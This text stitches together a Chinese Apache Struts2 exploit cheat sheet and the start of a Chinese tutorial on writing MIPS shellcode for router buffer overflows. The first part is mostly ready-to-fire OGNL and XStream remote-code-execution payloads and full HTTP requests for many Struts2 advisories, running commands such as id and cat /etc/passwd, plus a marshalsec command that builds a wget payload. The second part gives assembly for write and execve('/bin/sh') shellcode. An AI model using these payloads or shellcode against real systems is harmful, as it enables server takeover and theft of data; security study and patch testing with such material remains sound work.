> 总得来说，用了Struts2-Rest-Plugin插件，这个插件是根据Content-> Type或者扩展名来选择解析方法，xstream在默认情况下是可以引入任意对象的，所以他在处理xml的时候会发生RCE（xstream处理xml数据时，未对数据做任何过滤，在反序列化将xml数据转换成object时导致的RCE）。利用起来就是改Content-> Type或扩展名 .xml application/xml 发恶意xml
## POC
**没回显 Response 500 但命令执行**
POST /orders/3 HTTP/1.1
Host: 10.17.14.18:8081
Content-Length: 1655
Cache-Control: max-age=0
Origin: http://10.17.14.18:8081
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://10.17.14.18:8081/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Cookie: JSESSIONID=249144A9BEB141072470A76C2A61D663
Connection: close
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
访问ip：port 直接到/orders 你可以直接change method 然后加上body 改Content-type 为xml
Response status code 500 执行成功了（不要怀疑 我也怀疑 后来看了一下文件 是真的）
也可以编辑之后保存 会有一个POST /orders/5 或者其他数字 有body的 改掉body 改Content-type 为xml 也可以执行
编辑完之后还会有一个/orders.xhtml?statusCode=303 change method 删掉body 改Content-type
为xml 文件名就不用改了 不然404了
> payload生成
> 下载 <https://github.com/mbechler/marshalsec>
> mvn clean package -DskipTests
> java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO wget
> www.baidu.com -O /tmp/1.html >1.txt
>
> 注：针对XStream支持很多种Payload，找一个Struts2也支持的即可,需要找到Struts2库中适用的gedget（事实上我找了，都试了，只有ImageIO好使，文章的都是骗人了，哭了）
# s2-048 CVE-2017-9791
影响版本
> 2.3.x
漏洞成因
> 当实用了Struts2 Struts1 插件时，可能导致不受信任的输入传入到ActionMessage类种导致命令执行
## POC
**回显 在正常页面里**
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
burp里改 浏览器里填就500
**光有回显**
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
# s2-046 CVE-2017-5638
影响版本
> 2.3.5-2.3.31 2.5.0-2.5.10
漏洞成因
> 使用Jakarta插件，程序没有正确处理文件上传，通过构造HTTP请求头中的Content-type造成RCE
常见访问路径
> /struts2-showcase/fileupload/doUpload.action
> /doUpload.action
> /
POST / HTTP/1.1
Host: 192.168.95.128:8080
Content-Length: 549
Cache-Control: max-age=0
Origin: http://192.168.95.128:8080
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6WkqMfQ5bSxtxX4X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.95.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Connection: close
------WebKitFormBoundary6WkqMfQ5bSxtxX4X
Content-Disposition: form-data; name="upload"; filename="Content-Disposition: form-data; name="image1"; filename="%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#[email protected]@getRequest()).(#path=#req.getRealPath('/')).(#o.println(#path)).(#o.close())}b"
Content-Type: text/plain
------WebKitFormBoundary6WkqMfQ5bSxtxX4X
抓流量 抓到一个 出web目录的 后面自己加\x00b
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#[email protected]@getRequest()).(#path=#req.getRealPath('/')).(#o.println(#path)).(#o.close())}
跟s2-048 payload是一样的 只有回显 好多都是通用的
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
还可以找到doUpload.action 然后真提交文件 拦截包 把filename 改了 要加\x00b
s2-046 特别多的工具都可以用。。抓流量分析流量 分析出来几个功能payload
安恒工具 命令执行 payload
POST / HTTP/1.1
Host:192.168.95.128:8080
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 874
Content-Type: multipart/form-data; boundary=---------------------------7e116d19044c
-----------------------------7e116d19044c
Content-Disposition: form-data; name="test"; filename="%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}.b"
Content-Type: text/plain
x
-----------------------------7e116d19044c--
# s2-045 CVE-2017-5638
漏洞版本
> 2.3.31-2.3.5 2.5-2.5.10
> 和046类似，只是攻击字段发生变化 045是Content-Type 046是filname
# s2-037 CVE-2016-4438
漏洞版本
> Struts 2.3.20 - Struts Struts 2.3.28（2.3.20.3和2.3.24.3除外）
漏洞成因
>
> 和S2-033一样也是关于rest插件导致method变量被篡改造成的远程代码执行漏洞，这个漏洞和之前S2-033是一个地方，都是在DefaultActionInvocation.java的invokeAction方法中没有对于methodName参数内容进行校验，便直接丢到了getValue方法里面，从而造成Ongl表达式的注入。
poc
光有回显
/orders/4/%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=whoami
# s2-033
影响版本
> Struts 2.3.20 - Struts Struts 2.3.28（2.3.20.3和2.3.24.3除外）
## POC
有回显版本
%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23process%[email protected]@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%[email protected]@getResponse%28%29.getOutputStream%28%29%29%[email protected]@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=whoami
光有回显
%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id
没回显
%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success
# s2-032
影响版本
> Struts 2.3.20 - Struts Struts 2.3.28（2.3.20.3和2.3.24.3除外）
需要开启动态方法调用
使用?method:execute的方式调用execute方法（execute方法是struts2中默认的action调用方法），在method:后面加上我们要执行的ognl表达式即可执行任意代码了
光有回显 poc
http://127.0.0.1/memoindex.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
/memoindex.action?method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=whoami&dd=%20&d=____A&encoding=UTF-8
# s2-019
影响版本
> Struts 2.0.0 - Struts 2.3.15.1
漏洞成因
> `<constant name="struts.devMode" value="true" />`
>
> ## POC
/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27ipconfig%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%20%23d.read%28%23e%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%20%2C%20%23d.read%28%23e%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%20%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29
/example/HelloWorld.action?debug=command&expression=%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%22whoami%22).getInputStream())),%23resp.getWriter().flush(),%23resp.getWriter().close()
# s2-016
影响版本
> Struts2.0.0 - Struts2.3.15
漏洞成因
>
> DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令
redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}
# s2-015
影响版本
> 2.0.0 - 2.3.14.2
漏洞成因
> 基于通配符定义的动作映射，如果一个请求跟任何其他定义的操作不匹配，他将会匹配*，并且请求的同操作名称的jsp文件
<http://192.168.95.128:8080/example/HelloWorld.action>
==>改成
<http://192.168.95.128:8080/example/%25%7B1%2B1%7D.action>
## POC
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
# s2-013
影响版本
> Struts 2.0.0 - Struts 2.3.14
漏洞成因
> struts 的标签中 s:a 和 s:url 都有一个 includeParams 属性
> none - URL中不包含任何参数（默认）
> get - 仅包含URL中的GET参数
> all - 在URL中包含GET和POST参数
> 当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。
> 明明可以urldecode一下就知道params是啥了，但struts给OGNL解析了，就造成了任意代码执行
## POC 就这2种poc
第一个光有回显
${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
# s2-012
影响版本:
> 2.1.0 - 2.3.13
漏洞成因
> 如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量，例如：
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
这里 UserAction 中定义有一个 name 变量，当触发 redirect 类型返回时，Struts2 获取使用 ${name}
获取其值，在这个过程中会对 name 参数的值执行 OGNL 表达式解析，从而可以插入任意 OGNL 表达式导致命令执行。
## POC
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
## s2-009
影响版本
> 2.1.0 - 2.3.1.1
漏洞成因
> 这个漏洞跟s2-003 s2-005 属于一套的。
>
> Struts2对s2-003的修复方法是禁止`#`号，于是s2-005通过使用编码`\u0023`或`\43`来绕过；于是Struts2对s2-005的修复方法是禁止`\`等特殊符号，使用户不能提交反斜线。
>
> 但是，如果当前action中接受了某个参数`example`，这个参数将进入OGNL的上下文。所以，我们可以将OGNL表达式放在`example`参数中，然后使用`/HelloWorld.acton?example=<OGNL
> statement>&(example)('xxx')=1`的方法来执行它，从而绕过官方对`#`、`\`等特殊字符的防御。
没回显
/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
有回显
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
## s2-008
影响版本:
> 2.1.0 - 2.3.1
漏洞成因
> 主要是利用对传入参数没有严格限制，导致多个地方可以执行恶意代码
> 第一种情况其实就是S2-007，在异常处理时的OGNL执行
>
> 第二种的cookie的方式，虽然在struts2没有对恶意代码进行限制，但是java的webserver（Tomcat），对cookie的名称有较多限制，在传入struts2之前就被处理，从而较为鸡肋
> 第四种需要开启devModedebug模式
复现采用的是第四种devMode的debug模式，造成的任意代码执行
### POC
第一个vulhub给的poc 不好使呀 java.lang.UNIXProcess@493c1254
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
有回显
/S2-008/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29
## s2-007
影响版本
> 2.0.0-2.2.3
漏洞成因
> 当配置了验证规则，类型转换出错时，进行了错误的字符串拼接，进而造成了OGNL语句的执行。后端用代码拼接 "'" + value + "'" 然后对其进行
> OGNL 表达式解析,比较类似SQL注入单引号闭合,插入语句,官方修复的时候也跟sql注入比较相似,escape 对单引号转义
### POC
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
## s2-005
影响版本
> 2.0.0-2.1.8.1
> 影响成因
> 通过unicode 编码 \u0023
> 绕过struts对#的过滤,再通过设置xwork.MethodAccessor.denyMethodExecution 为false
> 和memberAccess.allowStaticMethodAccess为true 来绕过沙盒
### POC
/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%[email protected]@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%[email protected]@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%[email protected]@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29
## s2-001
影响版本
> 2.0.0-2.0.8
漏洞成因
> 因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中
## POC
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} | 社区文章 |
原文来自安全客，作者：desword
原文链接：<https://www.anquanke.com/post/id/153725>
#### 前言
今天我们来聊聊如何在MIPS架构中编写shellcode。在前面的两篇文章中，我们分别介绍了基于MIPS的缓冲区溢出实践，以及进一步的如何利用学到的溢出知识复现与验证路由器的漏洞。但是在上文的路由器漏洞利用的例子里面，我们需要有一个前置条件，即含有漏洞的程序必须导入了系统的库函数，我们才能方便的验证，然而这个条件并不是时刻有效的。因此，在本文中，我们介绍路由器漏洞复现的终极奥义——基于MIPS的shellcode编写。有了shellcode，如果目标程序能够被溢出，那么我们就可以执行任意的程序。所以说是终极奥义。简单来说，shellcode就是一段向进程植入的一段用于获取shell的代码，（shell即交互式命令程序）。现如今，shellcode从广义上来讲，已经统一指在缓冲区溢出攻击中植入进程的代码。因此，shellcode现在所具备的功能不仅包括获取shell，还包括弹出消息框、开启端口和执行命令等。
在本文中，我将介绍
1. 基于MIPS的常用shellcode；
2. 快速提取shellcode的二进制指令的工具-shell_extractor.py；
3. 开发的shellcode如何在自己的实验程序应用。
其中，shellcode二进制指令快速提取工具是我自己开发的。我随便搜索了一下，没有发现类似的能够满足我需求的工具，所以就自己开发了一个工具，已经开源在[shell_extractor](https://github.com/desword/shellcode_tools
"shell_extractor")），欢迎大家使用。如果大家有更好的工具，欢迎评论。^_^
#### 0\. 鸟瞰shellcode
首先，我们先从一个比较直观的角度来了解一下，一个shellcode它在缓冲区溢出攻击的过程所扮演的角色和所处的位置。
如图所示一个常见的MIPS堆栈分配情况
Shellcode最常见的用法，就是把可以执行的命令覆盖到堆栈里面，通过修改RA跳转到堆栈的起始位置的方式，达到在堆栈里面执行自己想要的命令的方式。因此shellcode实际上就是一段可执行的汇编指令。讲到这里，那么问题来了，怎么编写这段汇编指令呢？
有两种思路，第一种：从网上搜索一些shellcode的汇编，编译之后反编译，获取二进制指令。这种方法也可以，也是比较常见的做法。还有一种，需要稍微花一点功夫：即用c语言先写一个系统命令调用，编译，然后用IDA反编译，直接把对应的汇编指令提取出来。不过，在提取对应的汇编指令的时候，需要对存储的参数的位置，以及对于寄存器的处理进行重新的调整。
比如，我们编写一个execve的调用程序。execve是shellcode常用的程序之一，它的目的是让已经嵌入的应用程序执行另外一个程序，比如/bin/sh。
Linux 中对该系统调用的定义如下：
int execve(const char *path, char *const argv[], char *const envp[]);
那么我一个常见的c语言调用execve的代码可以是这样的：
#include <stdio.h>
int main()
{
char *program = "/bin/ls";
char *arg = "-l";
char *args[3];
args[0] = program;
args[1] = arg;
args[2] = 0;
execve(program, args, 0);
}
编译下，看看IDA反编译出来是什么样的
会发现，参数program和arg的是需要重新处理的，比如就跟着放在这段shellcode程序的后面（之后介绍的手动编写shellcode就会写到这种处理方式）
execve在跳转之后，会发现，最终是通过syscall完成的系统调用。
总结来说，这二种方法适合初学者一步一步对应着c源代码和汇编程序，学习汇编程序的shellcode编写。但是直接提取的话，会发现冗余的指令过多。在覆盖堆栈的时候，占用的空间越少，漏洞利用的成功率会越高。因此，本文还是着重第一种方式，即从成熟的处理好的shellcode中学习。感兴趣的读者也可以进一步优化上述代码，让它的体积尽可能小，这对于打基础是非常好的。
前面我们提到，最终execve是通过syscall这个命令实现的系统调用，因此，基于MIPS的shellcode编写，大部分都是基于syscall这个命令的。
syscall函数的参数形式为 syscall(a0,
v0用于保存需要执行的系统调用的调用号，并且按照对应的函数调用规则放置参数。比如调用exit的汇编代码例子。
li $a0, 0
li $v0, 4001
syscall
其中指令li (x,y)的意思是将立即数y放置到寄存器x中。系统调用好可以在linux系统里找到，比如在/usr/include/mips-linux-gnu/asm/unistd.h里面。本文中，我们围绕两个系统命令来展开，并且深入介绍一个完整shellcode开发以及漏洞的流程。即write,
execve指令。Write就是输出字符串到指定流的系统调用。
我们可以找到write的调用号是4004， 而execve是4011.
总体来说，基于MIPS的shellcode开发以及漏洞的流程分为以下的步骤（其他平台的shellcode开发也类似）：
1. 编写shellcode的汇编代码，从网上寻找，或者自己编写。
2. 编译，反编译之后，提取shellcode的二进制代码。
3. 在c中测试提取的二进制代码。
4. 构造payload进行测试。
#### 1\. Shellcode的汇编代码构造
首先第一步，shellcode的编写。一个典型的调用write的c代码为：
Int main()
{
char *pstr = “ABCn”;
write(1, pstr, 5);
}
写成shellcode就为write.S
.section .text
.globl __start
.set noreorder
__start:
addiu $sp,$sp,-32 # 抬高堆栈，用来放置参数
li $a0,1 # 传入第一个参数，表示输出到stdout
lui $t6,0x4142
ori $t6,$t6,0x430a # 放置字符ABCn到$t6中
sw $t6,0($sp) # 将$t6里面的数据存储到堆栈中
addiu $a1,$sp,0 # 从堆栈中将ABCn存储到第二个参数$a1中，
li $a2,5 # 传入第三个参数，5，表示字符串长度
li $v0,4004 # 传入write的系统调用号4004
syscall
其中，.section .text 表示当前为.text程序段，.globl __start表示定义程序开始的符号，.set
noreorder表示不对汇编指令进行重新排序。
接下来使用下面的脚本来编译上述汇编指令，要从build-root里面的来编译。书本《揭秘家用路由器0day漏洞挖掘技术》提供的脚本直接执行了命令as,ld是有问题的，希望大家注意，正确的脚本如同下面类似的
#!/bin/sh
# $ sh nasm.sh <source file> <excute file>
src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-as $src -o s.o
echo "as ok"
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-ld s.o -o $dst
echo "ld ok"
rm s.o
那么下面的命令既可以编译：
bash nasm.sh write.S write
另外一方面，对于execve(“/bin/sh”, 0, 0)产生而言，典型的shellcode应为execve.S
.section .text
.globl __start
.set noreorder
__start:
li $a2,0x111 #
p:bltzal $a2,p # 该指令执行后，会使得下下行的地址保存在$ra中
li $a2,0 # 存入第三个参数0，
addiu $sp,$sp,-32 # 拉高堆栈，存放参数
addiu $a0,$ra,28 # $ra+28是下面参数字符串/bin/sh的首地址
sw $a0,-24($sp) # 将/bin/sh存入开辟的数组
sw $zero,-20($sp) # 将参数0存入数组
addiu $a1,$sp,-24
li $v0,4011
syscall
sc: # 存储的参数/bin/sh
.byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
这里推荐的大家一个网址，有大部分的MIPS指令集合：[MIPS指令集合](http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html
"MIPS指令集合") 我们会发现，优化过后的execve的shellcode指令长度和直接从c语言编译再反编译过来的长度要缩减很多。
